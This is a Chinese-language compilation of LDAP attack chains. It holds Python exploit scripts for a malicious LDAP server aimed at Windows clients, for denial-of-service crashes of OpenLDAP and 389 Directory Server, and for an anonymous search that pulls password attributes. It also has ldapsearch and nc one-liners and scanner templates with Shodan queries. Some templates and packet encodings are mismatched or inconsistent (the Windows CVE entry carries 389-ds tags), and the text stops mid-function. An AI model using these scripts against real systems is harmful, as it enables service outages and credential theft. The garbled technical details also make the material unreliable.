LDAP 目录服务与身份存储高危攻击链专题：OpenLDAP / 389 Directory Server / FreeIPA / Windows LDAP 漏洞全解析

攻击者搭建恶意 LDAP 服务 (TCP 389)
    ↓ 发送构造的 DCE/RPC Bind Response
Windows LDAP 客户端连接恶意服务
    ↓ 触发 NTLM 认证流程
客户端分配堆内存存储认证上下文
    ↓ 服务端发送特殊构造的 NTLM Challenge
客户端处理响应时触发错误路径
    ↓ 释放认证上下文结构体
UAF：代码继续访问已释放内存
    ↓ 堆喷射填充被释放的内存
执行流重定向 → 任意代码执行

Get-WmiObject -Class Win32_Product | Where-Object {$_.Name -like "*LDAP*"} | Select-Object Name, Version

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v BuildBranch

nmap -p 389,636 --script ldap-search -script-args ldap.username="",ldap.password="" <target>

import socket
import struct
import sys
import threading

LDAP_BIND_REQUEST = b"\x30\x0c\x02\x01\x01\x60\x07\x02\x01\x03\x04\x00\x80\x00"

DCERPC_BIND_ACK = (
    b"\x05\x00\x0c\x07\x10\x00\x00\x00"
    b"\x00\x00\x00\x00\x00\x00\x00\x00"
    b"\x01\x00\x00\x00"
    b"\xd0\x16\xd0\x16\x00\x00\x00\x00"
    b"\x01\x00\x00\x00"
    b"\x00\x00\x01\x00"
    b"\xd0\x16\xd0\x16"
    b"\x00\x00\x00\x00"
)

NTLM_CHALLENGE = (
    b"\x30\x82\x00\x00"
    b"\x02\x01\x01\x61\x82\x00\x00"
    b"\x0a\x01\x00"
    b"\x0a\x02\x00"
    b"\x0a\x02\x01"
    b"\x63\x82\x00\x00"
    b"\x0a\x01\x00"
    b"\x0a\x02\x00"
    b"\x0a\x02\x00"
    b"\x0a\x02\x01"
    b"\x0a\x02\x20"
    b"\x0a\x02\x01"
    b"\x62\x82\x00\x00"
    b"\x02\x01\x01"
    b"\x31\x00"
    b"\x65\x82\x00\x00"
    b"\x0a\x01\x00"
    b"\x0a\x02\x00"
    b"\x0a\x02\x01"
    b"\x0a\x02\x01"
    b"\x0a\x02\x10"
    b"\x31\x82\x00\x00"
    b"\x30\x0e\x04\x00\x31\x0a\x04\x08"
    b"NTLMSSP\x00"
    b"\x02\x01\x00\x01\x00\x00\x00"
    b"\x01\x02\x03\x04\x05\x06\x07\x08"
)

EVIL_BIND_RESPONSE = (
    b"\x30\x84\x00\x00\x00\x0a"
    b"\x02\x01\x01"
    b"\x61\x84\x00\x00\x00\x03"
    b"\x0a\x01\x31"
)


def handle_client(conn, addr, exploit_mode):
    try:
        data = conn.recv(4096)
        if not data:
            return

        if exploit_mode == "dos":
            conn.sendall(DCERPC_BIND_ACK)
            data2 = conn.recv(4096)
            if data2:
                trigger_size = 0x100000
                evil_response = b"\x05\x00\x02\x03\x10\x00\x00\x00"
                evil_response += struct.pack("<I", trigger_size)
                evil_response += b"\x00" * trigger_size
                conn.sendall(evil_response)
        elif exploit_mode == "rce":
            conn.sendall(DCERPC_BIND_ACK)
            data2 = conn.recv(4096)
            if data2:
                conn.sendall(NTLM_CHALLENGE)
                data3 = conn.recv(4096)
                if data3:
                    conn.sendall(EVIL_BIND_RESPONSE)
    except Exception:
        pass
    finally:
        conn.close()


def start_server(host, port, exploit_mode="dos"):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((host, port))
    server.listen(5)

    mode_label = "LDAPBleed RCE" if exploit_mode == "rce" else "LDAPNightmare DoS"
    print(f"[*] Malicious LDAP server ({mode_label}) listening on {host}:{port}")
    print("[*] Waiting for Windows LDAP client connection...")

    while True:
        conn, addr = server.accept()
        print(f"[+] Connection from {addr[0]}:{addr[1]}")
        t = threading.Thread(target=handle_client, args=(conn, addr, exploit_mode))
        t.daemon = True
        t.start()


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <listen_ip> [port] [rce|dos]")
        print(f"Example: {sys.argv[0]} 0.0.0.0 389 rce")
        sys.exit(1)

    listen_ip = sys.argv[1]
    listen_port = int(sys.argv[2]) if len(sys.argv) > 2 else 389
    mode = sys.argv[3] if len(sys.argv) > 3 else "dos"

    if mode not in ("rce", "dos"):
        print("[!] Invalid mode. Use 'rce' or 'dos'")
        sys.exit(1)

    start_server(listen_ip, listen_port, mode)

id: CVE-2024-49112
info:
  name: Windows LDAP Client - LDAPBleed Remote Code Execution
  author: security-researcher
  severity: critical
  description: Windows LDAP client contains a use-after-free vulnerability in wldap32.dll when processing DCE/RPC responses during NTLM authentication, potentially allowing remote code execution.
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49112
    - https://github.com/search?q=CVE-2024-49112
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-416
  metadata:
    max-request: 1
    shodan-query: product:"389-ds-base"
  tags: cve,cve2021,389ds,ldap,dos,null-deref

network:
  - inputs:
      - data: "300c020101600702010304008000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 389
    read-size: 2048
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "020100"
          - "61"
      - type: word
        part: body
        words:
          - "0a0100"

ldapsearch -x -H ldap://target:389 -b "" -s base "(objectclass=*)" namingContexts

echo -n "020101660a3130040030083006040031000400" | xxd -r -p | nc -v target 389

import socket
import struct
import sys
import time

LDAP_MODIFY_REQUEST = (
    b"\x30\x26"
    b"\x02\x01\x01"
    b"\x66\x21"
    b"\x04\x00"
    b"\x30\x19"
    b"\x30\x17"
    b"\x04\x02\x6f\x63"
    b"\x31\x11"
    b"\x0a\x01\x00"
    b"\x30\x0c"
    b"\x30\x0a"
    b"\x04\x00"
    b"\x04\x06\x76\x61\x6c\x75\x65\x31"
)

LDAP_MODIFY_REPLACE = (
    b"\x30\x2a"
    b"\x02\x01\x02"
    b"\x66\x25"
    b"\x04\x00"
    b"\x30\x1d"
    b"\x30\x1b"
    b"\x04\x02\x6f\x63"
    b"\x31\x15"
    b"\x0a\x01\x02"
    b"\x30\x10"
    b"\x30\x0e"
    b"\x04\x00"
    b"\x04\x08\x74\x65\x73\x74\x76\x61\x6c\x31"
)


def check_version(host, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((host, port))

        bind_req = (
            b"\x30\x0c"
            b"\x02\x01\x01"
            b"\x60\x07"
            b"\x02\x01\x03"
            b"\x04\x00"
            b"\x80\x00"
        )
        s.sendall(bind_req)
        resp = s.recv(4096)

        if resp and len(resp) > 9:
            if resp[9] == 0x00:
                print(f"[+] Bind successful on {host}:{port}")

        s.sendall(
            b"\x30\x2f\x02\x01\x02\x63\x0a\x04\x00"
            b"\x30\x08\x30\x06\x04\x01\x31\x04\x01\x30"
        )
        resp2 = s.recv(8192)
        if b"OpenLDAP" in resp2:
            version_start = resp2.find(b"OpenLDAP")
            version_end = resp2.find(b"\x00", version_start)
            version_str = resp2[version_start:version_end].decode("utf-8", errors="ignore")
            print(f"[+] Detected: {version_str}")

        s.close()
        return True
    except Exception as e:
        print(f"[-] Version check failed: {e}")
        return False


def exploit_null_ref_dos(host, port, count=5):
    print(f"[*] Sending {count} crafted Modify requests to trigger NULL deref...")

    for i in range(count):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((host, port))

            bind_req = (
                b"\x30\x0c"
                b"\x02\x01\x01"
                b"\x60\x07"
                b"\x02\x01\x03"
                b"\x04\x00"
                b"\x80\x00"
            )
            s.sendall(bind_req)
            s.recv(4096)

            s.sendall(LDAP_MODIFY_REQUEST)
            try:
                resp = s.recv(4096)
            except socket.timeout:
                pass

            s.sendall(LDAP_MODIFY_REPLACE)
            try:
                resp = s.recv(4096)
            except socket.timeout:
                pass

            s.close()
            print(f"[+] Packet {i+1}/{count} sent")
            time.sleep(0.5)
        except ConnectionRefusedError:
            print(f"[+] slapd appears to have crashed after {i} packets!")
            return True
        except Exception as e:
            print(f"[-] Error on packet {i+1}: {e}")

    return False


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_host> [port]")
        print(f"Example: {sys.argv[0]} 192.168.1.100 389")
        sys.exit(1)

    target_host = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 389

    print(f"[*] CVE-2020-25710 - OpenLDAP slapd NULL Dereference DoS")
    print(f"[*] Target: {target_host}:{target_port}")

    check_version(target_host, target_port)
    exploit_null_ref_dos(target_host, target_port)

id: CVE-2020-25710
info:
  name: OpenLDAP slapd - NULL Pointer Dereference DoS
  author: security-researcher
  severity: high
  description: OpenLDAP slapd versions 2.4.2x contain a NULL pointer dereference in sl_mod_free() that allows unauthenticated remote denial of service via crafted LDAP Modify requests.
  reference:
    - https://github.com/openldap/ldap/commit/33341d84742650d437efaa265a5c25d08f562fa7
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-476
  metadata:
    max-request: 1
    shodan-query: product:"OpenLDAP"
  tags: cve,cve2020,openldap,ldap,dos,null-deref

network:
  - inputs:
      - data: "300c020101600702010304008000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 389
    read-size: 2048
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "020100"
          - "61"
      - type: word
        part: body
        words:
          - "0a0100"

echo -n "" | openssl s_client -connect target:636 -cert /dev/null -key /dev/null 2>&1

echo -n "" | openssl s_client -connect target:636 -starttls ldap 2>&1

import socket
import ssl
import sys
import struct
import time

STARTTLS_REQUEST = (
    b"\x30\x1d"
    b"\x02\x01\x01"
    b"\x77\x18"
    b"\x80\x16\x31\x32\x2e\x38\x34\x30"
    b"\x2e\x31\x31\x34\x2e\x35\x35\x2e"
    b"\x31\x36\x2e\x32\x2e\x31\x32"
)

LDAP_BIND_REQ = (
    b"\x30\x0c"
    b"\x02\x01\x01"
    b"\x60\x07"
    b"\x02\x01\x03"
    b"\x04\x00"
    b"\x80\x00"
)


def send_starttls(host, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(10)
        s.connect((host, port))
        print(f"[+] Connected to {host}:{port}")

        s.sendall(LDAP_BIND_REQ)
        bind_resp = s.recv(4096)
        print(f"[*] Bind response: {len(bind_resp)} bytes")

        print("[*] Sending StartTLS request...")
        s.sendall(STARTTLS_REQUEST)

        try:
            tls_resp = s.recv(4096)
            print(f"[*] StartTLS response: {len(tls_resp)} bytes")
            if tls_resp and len(tls_resp) > 9 and tls_resp[9] == 0x00:
                print("[+] StartTLS negotiation succeeded")

                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                ctx.minimum_version = ssl.TLSVersion.TLSv1

                try:
                    wrapped = ctx.wrap_socket(s, server_hostname=host)
                    print("[+] TLS handshake completed")
                    wrapped.close()
                except ssl.SSLError as e:
                    print(f"[*] TLS handshake error (expected): {e}")
            else:
                print("[-] StartTLS not supported or failed")
        except socket.timeout:
            print("[*] StartTLS response timeout (possible vulnerability)")

        s.close()
        return True
    except Exception as e:
        print(f"[-] Error: {e}")
        return False


def exploit_malformed_cert(host, port, count=3):
    print(f"[*] Attempting malformed TLS handshake {count} times...")

    for i in range(count):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((host, port))

            s.sendall(LDAP_BIND_REQ)
            s.recv(4096)

            s.sendall(STARTTLS_REQUEST)
            try:
                s.recv(4096)
            except socket.timeout:
                pass

            malformed_client_hello = (
                b"\x16\x03\x01\x00\x05"
                b"\x01\x00\x00\x01"
                b"\xff"
            )
            s.sendall(malformed_client_hello)

            try:
                resp = s.recv(4096)
            except socket.timeout:
                pass

            s.close()
            print(f"[+] Malformed certificate {i+1}/{count} sent")
            time.sleep(1)
        except ConnectionRefusedError:
            print(f"[+] slapd appears to have crashed after attempt {i}!")
            return True
        except Exception as e:
            print(f"[-] Error on attempt {i+1}: {e}")

    return False


def check_service(host, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((host, port))

        s.sendall(LDAP_BIND_REQ)
        resp = s.recv(4096)
        s.close()

        if resp and b"OpenLDAP" in resp:
            start = resp.find(b"OpenLDAP")
            end = resp.find(b"\x00", start)
            print(f"[+] Detected: {resp[start:end].decode('utf-8', errors='ignore')}")
            return True
        elif resp:
            print(f"[+] LDAP service detected ({len(resp)} bytes response)")
            return True
        return False
    except Exception as e:
        print(f"[-] Service check failed: {e}")
        return False


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_host> [port]")
        print(f"Example: {sys.argv[0]} 192.168.1.100 636")
        sys.exit(1)

    target_host = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 636

    print(f"[*] CVE-2020-25709 - OpenLDAP Certificate Validation DoS")
    print(f"[*] Target: {target_host}:{target_port}")

    check_service(target_host, target_port)
    send_starttls(target_host, target_port)
    exploit_malformed_cert(target_host, target_port)

id: CVE-2020-25709
info:
  name: OpenLDAP slapd - Certificate Validation NULL Pointer Dereference
  author: security-researcher
  severity: high
  description: OpenLDAP slapd 2.4.x contains a NULL pointer dereference during TLS certificate validation that allows unauthenticated denial of service.
  reference:
    - https://github.com/openldap/ldap/commit/33341d84742650d437efaa265a5c25d08f562fa7
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-476
  metadata:
    max-request: 1
    shodan-query: product:"OpenLDAP"
  tags: cve,cve2020,openldap,ldap,dos,tls,cert

network:
  - inputs:
      - data: "300c020101600702010304008000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 636
    tls: true
    read-size: 2048
    matchers:
      - type: word
        part: body
        words:
          - "020100"
          - "61"

import socket
import struct
import sys

LDAP_SEARCH_TEMPLATE = (
    b"\x30"
    b"\x02\x01\x01"
    b"\x63"
    b"\x04\x00"
    b"\x30"
    b"\x87"
    b"\x04"
)


def build_search_request(base_dn, scope=0, filter_str="(objectClass=*)"):
    msg_id = b"\x02\x01\x01"
    msg_tag = b"\x63"

    base_dn_bytes = base_dn.encode("utf-8")
    base_dn_field = bytes([0x04, len(base_dn_bytes)]) + base_dn_bytes

    scope_field = bytes([0x0a, 0x01, scope])

    filter_bytes = filter_str.encode("utf-8")
    filter_field = bytes([0x87, len(filter_bytes)]) + filter_bytes

    attrs_field = b"\x30\x00"

    inner = base_dn_field + scope_field + b"\x80\x00" + filter_field + attrs_field
    msg_len = len(msg_id) + len(msg_tag) + bytes([len(inner) + 2]) + inner

    full_msg = b"\x30" + bytes([len(msg_id) + len(msg_tag) + len(inner) + 2]) + msg_id + msg_tag + bytes([len(inner) + 2]) + inner
    return full_msg


def send_search(host, port, base_dn, filter_str, attrs=None):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(10)
        s.connect((host, port))

        bind_req = (
            b"\x30\x0c\x02\x01\x01\x60\x07\x02\x01\x03\x04\x00\x80\x00"
        )
        s.sendall(bind_req)
        s.recv(4096)

        base_dn_bytes = base_dn.encode("utf-8")
        filter_bytes = filter_str.encode("utf-8")

        search_msg = bytearray()
        search_msg.extend(b"\x30\x84")
        inner = bytearray()
        inner.extend(b"\x02\x01\x01")
        inner.extend(b"\x63\x84")
        search_inner = bytearray()
        search_inner.extend(bytes([0x04, len(base_dn_bytes)]) + base_dn_bytes)
        search_inner.extend(b"\x0a\x01\x00")
        search_inner.extend(b"\x80\x00")
        search_inner.extend(bytes([0x87, len(filter_bytes)]) + filter_bytes)
        search_inner.extend(b"\x30\x00")
        inner.extend(bytes([0x84, len(search_inner)]) + bytes(search_inner))
        full_inner = bytes(inner)
        search_msg.extend(bytes([0x84, len(full_inner)]) + full_inner)

        s.sendall(bytes(search_msg))

        response = b""
        try:
            while True:
                chunk = s.recv(65536)
                if not chunk:
                    break
                response += chunk
                if len(response) > 100000:
                    break
        except socket.timeout:
            pass

        s.close()
        return response
    except Exception as e:
        print(f"[-] Error: {e}")
        return None


def parse_search_response(data):
    if not data or len(data) < 10:
        return []

    entries = []
    pos = 0
    while pos < len(data):
        if pos >= len(data):
            break
        tag = data[pos]
        pos += 1

        length = data[pos]
        pos += 1
        if length & 0x80:
            num_bytes = length & 0x7f
            length = int.from_bytes(data[pos:pos+num_bytes], "big")
            pos += num_bytes

        if tag == 0x64:
            entry_data = data[pos:pos+length]
            entry = {"dn": "", "attrs": {}}
            ep = 0
            while ep < len(entry_data):
                if entry_data[ep] == 0x04:
                    ep += 1
                    dn_len = entry_data[ep]
                    ep += 1
                    entry["dn"] = entry_data[ep:ep+dn_len].decode("utf-8", errors="ignore")
                    ep += dn_len
                else:
                    ep += 1
                    if ep < len(entry_data):
                        attr_len = entry_data[ep]
                        ep += 1
                        ep += attr_len
            if entry["dn"]:
                entries.append(entry)
        pos += length

    return entries


def exploit_proxy_bypass(host, port):
    print(f"[*] Testing proxy cache bypass on {host}:{port}")

    bypass_filters = [
        "(objectClass=*)",
        "(&(objectClass=*)(!(objectClass=organizationalUnit)))",
        "(|(uid=*)(cn=*))",
        "(&(objectClass=user)(userPassword=*))",
        "(cn=*)",
    ]

    for filt in bypass_filters:
        print(f"\n[*] Trying filter: {filt}")
        response = send_search(host, port, "", filt)
        if response:
            print(f"[+] Received {len(response)} bytes response")
            entries = parse_search_response(response)
            if entries:
                for entry in entries:
                    print(f"  DN: {entry['dn']}")
        else:
            print("[-] No response received")


def check_openldap(host, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((host, port))

        bind_req = (
            b"\x30\x0c\x02\x01\x01\x60\x07\x02\x01\x03\x04\x00\x80\x00"
        )
        s.sendall(bind_req)
        resp = s.recv(4096)
        s.close()

        if resp and b"OpenLDAP" in resp:
            start = resp.find(b"OpenLDAP")
            end = resp.find(b"\x00", start)
            print(f"[+] Detected: {resp[start:end].decode('utf-8', errors='ignore')}")
            return True
        return False
    except Exception:
        return False


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_host> [port]")
        print(f"Example: {sys.argv[0]} 192.168.1.100 389")
        sys.exit(1)

    target_host = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 389

    print(f"[*] CVE-2022-22543 - OpenLDAP Proxy Cache Bypass")
    print(f"[*] Target: {target_host}:{target_port}")

    if check_openldap(target_host, target_port):
        exploit_proxy_bypass(target_host, target_port)
    else:
        print("[-] Target does not appear to be OpenLDAP")

id: CVE-2022-22543
info:
  name: OpenLDAP - Proxy Cache Access Control Bypass
  author: security-researcher
  severity: medium
  description: OpenLDAP proxy module contains an access control bypass in cache implementation that allows unauthorized data access through crafted search filters.
  reference:
    - https://www.openldap.org/its/?findid=9947
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-863
  metadata:
    max-request: 1
    shodan-query: product:"OpenLDAP"
  tags: cve,cve2022,openldap,proxy,cache,bypass

network:
  - inputs:
      - data: "300c020101600702010304008000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 389
    read-size: 2048
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "020100"
          - "61"
      - type: word
        part: body
        words:
          - "0a0100"

攻击者发送 LDAP Search 请求 (无需 Bind)
    ↓
Search Filter: (objectClass=*)
Attributes: userPassword, ntUserPassword, ...
    ↓
服务器执行属性解引用
    ↓
跳过 ACL 检查 → 直接返回属性值
    ↓
攻击者获取所有用户凭据

ldapsearch -x -H ldap://target:389 -b "dc=example,dc=com" "(objectClass=*)" userPassword

ldapsearch -x -H ldap://target:389 -b "dc=example,dc=com" "(objectClass=*)" -E pr=1000/noprompt

import socket
import struct
import sys


def build_ldap_search(base_dn, scope, filter_str, attributes):
    msg_id = b"\x02\x01\x01"
    msg_tag = b"\x63"

    base_dn_bytes = base_dn.encode("utf-8")
    scope_field = bytes([0x0a, 0x01, scope])

    filter_bytes = filter_str.encode("utf-8")
    filter_field = bytes([0x87, len(filter_bytes)]) + filter_bytes

    attrs_encoded = b""
    for attr in attributes:
        attr_bytes = attr.encode("utf-8")
        attrs_encoded += bytes([0x04, len(attr_bytes)]) + attr_bytes
    attrs_field = b"\x30" + bytes([len(attrs_encoded)]) + attrs_encoded

    inner = bytes([0x04, len(base_dn_bytes)]) + base_dn_bytes
    inner += scope_field
    inner += b"\x80\x00"
    inner += filter_field
    inner += attrs_field

    inner_len_field = struct.pack(">I", len(inner) | 0x80000000).lstrip(b"\x00")
    if len(inner_len_field) > 4:
        inner_len_field = struct.pack(">I", len(inner))

    search_msg = msg_id + msg_tag + inner_len_field + inner
    msg_len_field = struct.pack(">I", len(search_msg) | 0x80000000).lstrip(b"\x00")
    if len(msg_len_field) > 4:
        msg_len_field = struct.pack(">I", len(search_msg))

    return b"\x30" + msg_len_field + search_msg


def build_bind_request(version=3):
    msg_id = b"\x02\x01\x01"
    bind_tag = b"\x60"
    version_field = bytes([0x02, 0x01, version])
    name_field = b"\x04\x00"
    auth_field = b"\x80\x00"

    inner = version_field + name_field + auth_field
    return msg_id + bind_tag + bytes([len(inner)]) + inner


def extract_strings(data, target_attrs=None):
    results = []
    i = 0
    while i < len(data):
        if i + 1 < len(data):
            tag = data[i]
            if i + 2 < len(data):
                length = data[i + 1]
                if length & 0x80:
                    num_bytes = length & 0x7f
                    if i + 2 + num_bytes < len(data):
                        length = int.from_bytes(data[i+2:i+2+num_bytes], "big")
                        i += 2 + num_bytes
                    else:
                        i += 1
                        continue
                else:
                    i += 2

                if tag == 0x04 and i + length <= len(data):
                    try:
                        s = data[i:i+length].decode("utf-8")
                        if "=" in s or "." in s or len(s) > 2:
                            results.append(s)
                    except Exception:
                        pass
                i += length
                continue
        i += 1
    return results


def exploit_acl_bypass(host, port, base_dn):
    print(f"[*] CVE-2022-2850 - 389-ds Access Control Bypass")
    print(f"[*] Target: {host}:{port}")
    print(f"[*] Base DN: {base_dn}")

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(10)
        s.connect((host, port))
        print("[+] Connected")

        bind_req = build_bind_request()
        s.sendall(bind_req)
        bind_resp = s.recv(4096)
        print(f"[*] Bind response: {len(bind_resp)} bytes (anonymous bind)")

        sensitive_attrs = [
            "userPassword",
            "ntUserPassword",
            "sambaPassword",
            "userSMIMECertificate",
            "userCertificate",
            "nsRoleDN",
            "aci",
        ]

        all_results = {}
        for attr in sensitive_attrs:
            print(f"\n[*] Querying attribute: {attr}")
            search_msg = build_ldap_search(base_dn, 2, "(objectClass=*)", [attr])
            s.sendall(search_msg)

            response = b""
            try:
                while True:
                    chunk = s.recv(65536)
                    if not chunk:
                        break
                    response += chunk
                    if len(response) > 200000:
                        break
            except socket.timeout:
                pass

            if response and len(response) > 10:
                extracted = extract_strings(response)
                meaningful = [x for x in extracted if x != base_dn and len(x) > 1]
                if meaningful:
                    all_results[attr] = meaningful
                    print(f"[+] Found {len(meaningful)} values for {attr}:")
                    for val in meaningful[:5]:
                        print(f"    {val}")
                    if len(meaningful) > 5:
                        print(f"    ... and {len(meaningful) - 5} more")
                else:
                    print(f"[-] No values returned for {attr}")
            else:
                print(f"[-] No response for {attr}")

        s.close()

        if all_results:
            print(f"\n[+] Access control bypass successful!")
            print(f"[+] Extracted data from {len(all_results)} attributes")
            return True
        else:
            print(f"\n[-] No sensitive data extracted (target may be patched)")
            return False

    except Exception as e:
        print(f"[-] Exploitation failed: {e}")
        return False


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target_host> <base_dn> [port]")
        print(f"Example: {sys.argv[0]} 192.168.1.100 'dc=example,dc=com'")
        sys.exit(1)

    target_host = sys.argv[1]
    base_dn = sys.argv[2]
    target_port = int(sys.argv[3]) if len(sys.argv) > 3 else 389

    exploit_acl_bypass(target_host, target_port, base_dn)

id: CVE-2022-2850
info:
  name: 389 Directory Server - Access Control Bypass via Attribute Dereference
  author: security-researcher
  severity: critical
  description: 389-ds-base before 2.0.14 allows unauthenticated access to sensitive attributes through attribute value return, bypassing ACL restrictions.
  reference:
    - https://github.com/389ds/389-ds-base/issues/5393
    - https://access.redhat.com/security/cve/CVE-2022-2850
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.8
    cwe-id: CWE-863
  metadata:
    max-request: 1
    shodan-query: product:"389-ds-base"
    fofa-query: app="389-ds-base"
  tags: cve,cve2022,389ds,ldap,acl-bypass,infoleak

network:
  - inputs:
      - data: "300c020101600702010304008000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 389
    read-size: 4096
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "020100"
      - type: binary
        part: body
        binary:
          - "61"
          - "0a0100"

ldapsearch -x -H ldap://target:389 -b "dc=example,dc=com" "(objectClass=*)" 2>&1 | head -1

import socket
import sys
import time

MALICIOUS_MODIFY = (
    b"\x30\x30"
    b"\x02\x01\x01"
    b"\x66\x2b"
    b"\x04\x00"
    b"\x30\x27"
    b"\x30\x25"
    b"\x04\x0d"
    b"\x31\x0b\x04\x09"
    b"cn=admin"
    b"\x31\x14"
    b"\x0a\x01\x00"
    b"\x30\x0f"
    b"\x30\x0d"
    b"\x04\x02\x64\x65"
    b"\x04\x07"
    b"\x63\x72\x61\x73\x68\x65\x64"
)

MALICIOUS_ADD = (
    b"\x30\x42"
    b"\x02\x01\x02"
    b"\x68\x3d"
    b"\x04\x00"
    b"\x30\x39"
    b"\x30\x37"
    b"\x04\x13"
    b"cn=testvuln,dc=example,dc=com"
    b"\x31\x20"
    b"\x30\x1e"
    b"\x04\x0b"
    b"objectClass"
    b"\x31\x0f"
    b"\x04\x04"
    b"top"
    b"\x04\x07"
    b"person"
)

BIND_REQUEST = (
    b"\x30\x0c"
    b"\x02\x01\x01"
    b"\x60\x07"
    b"\x02\x01\x03"
    b"\x04\x00"
    b"\x80\x00"
)


def exploit_cve_2021_3514(host, port, count=5):
    print(f"[*] CVE-2021-3514 - 389-ds-base Audit Log NULL Deref DoS")
    print(f"[*] Target: {host}:{port}")

    crashed = False
    for i in range(count):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((host, port))
            print(f"[+] Connection {i+1} established")

            s.sendall(BIND_REQUEST)
            s.recv(4096)

            s.sendall(MALICIOUS_MODIFY)
            try:
                s.recv(4096)
            except socket.timeout:
                pass

            s.sendall(MALICIOUS_ADD)
            try:
                s.recv(4096)
            except socket.timeout:
                pass

            s.close()
            time.sleep(0.3)
        except ConnectionRefusedError:
            print(f"[+] Server crashed after {i} attempts!")
            crashed = True
            break
        except OSError:
            print(f"[+] Connection failed after {i} attempts - server may be down")
            crashed = True
            break
        except Exception as e:
            print(f"[-] Error on attempt {i+1}: {e}")

    if not crashed:
        print("[-] Server did not crash (may be patched)")

    return crashed


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_host> [port]")
        sys.exit(1)

    target_host = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 389

    exploit_cve_2021_3514(target_host, target_port)

id: CVE-2021-3514
info:
  name: 389 Directory Server - Audit Log NULL Pointer Dereference DoS
  author: security-researcher
  severity: high
  description: 389-ds-base 1.4.x contains a NULL pointer dereference in audit logging that allows unauthenticated denial of service.
  reference:
    - https://github.com/389ds/389-ds-base/issues/4825
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-476
  metadata:
    max-request: 1
    shodan-query: product:"389-ds-base"
  tags: cve,cve2021,389ds,ldap,dos,null-deref

network:
  - inputs:
      - data: "300c020101600702010304008000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 389
    read-size: 2048
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "020100"
          - "61"
      - type: word
        part: body
        words:
          - "0a0100"

ldapsearch -x -H ldap://target:389 -b "dc=example,dc=com" "(objectClass=*)" 2>&1 | head -5

import socket
import sys

BIND_REQUEST = (
    b"\x30\x0c"
    b"\x02\x01\x01"
    b"\x60\x07"
    b"\x02\x01\x03"
    b"\x04\x00"
    b"\x80\x00"
)


def build_multivalue_add(num_values=50000):
    entry_dn = b"cn=test,dc=example,dc=com"
    entry_dn_field = bytes([0x04, len(entry_dn)]) + entry_dn
    attr_name = b"multiValueAttr"
    attr_name_field = bytes([0x04, len(attr_name)]) + attr_name
    values = b""
    for i in range(num_values):
        val = f"testValue{i:06d}".encode("utf-8")
        values += bytes([0x04, len(val)]) + val
    attr_values = b"\x31\x84" + len(values).to_bytes(5, "big") + values
    inner_attr = attr_name_field + attr_values
    attr_list = b"\x30\x84" + len(inner_attr).to_bytes(5, "big") + inner_attr
    inner_seq = entry_dn_field + attr_list
    add_field = b"\x68\x84" + len(inner_seq).to_bytes(5, "big") + inner_seq
    msg_id = b"\x02\x01\x01"
    inner_msg = msg_id + add_field
    return b"\x30\x84" + len(inner_msg).to_bytes(5, "big") + inner_msg


def exploit_dos(host, port, num_values=50000):
    print(f"[*] CVE-2024-3657 - 389-ds Multi-Value Attribute DoS")
    print(f"[*] Target: {host}:{port}")
